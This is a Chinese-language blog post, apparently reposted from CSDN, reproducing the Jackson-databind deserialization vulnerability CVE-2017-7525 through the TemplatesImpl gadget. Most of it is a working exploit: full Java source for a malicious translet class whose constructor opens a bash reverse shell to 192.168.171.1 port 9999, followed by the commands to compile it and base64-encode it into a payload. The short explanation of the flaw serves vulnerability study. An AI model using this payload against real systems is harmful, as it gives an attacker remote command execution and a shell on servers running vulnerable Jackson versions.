其他分享
首页 > 其他分享> > jackson CVE-2017-7525 漏洞复现

jackson CVE-2017-7525 漏洞复现

作者:互联网

CVE-2017-7525 Jackson-databind 反序列化漏洞

原理

Jackson-databind 在设置 Target class 成员变量参数值时,若没有对应的 getter 方法,则会使用 SetterlessProperty 调用 getter 方法,获取变量,然后设置变量值。当调用 getOutputProperties() 方法时,会初始化 transletBytecodes 包含字节码的类,导致命令执行,具体可参考 java-deserialization-jdk7u21-gadget-note 中关于 TemplatesImpl 的说明。

利用

恶意class文件源码:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Exploit extends AbstractTranslet {


    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }


    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public Exploit() throws IOException {
        try {
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.171.1/9999 0>&1"};
            Process p = Runtime.getRuntime().exec(commands);
            p.waitFor();
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws IOException {
        Exploit helloworld = new Exploit();
    }
}

将上述文件编译成class文件后,转化为base64编码:

文件编译必须在jdk<1.8中编译,我的编译环境是jdk1.7
文件编译必须在jdk<1.8中编译,我的编译环境是jdk1.7
文件编译必须在jdk<1.8中编译,我的编译环境是jdk1.7

javac Exploit.java; cat Exploit.class | base64 -w 0 | xargs

在这里插入图片描述

在这里插入图片描述

参考文章

漏洞复现-CVE-2017-7525-Jackson远程代码执行

标签:jackson,sun,Exploit,internal,7525,apache,import,2017,public
来源: https://blog.csdn.net/qq_41874930/article/details/121606895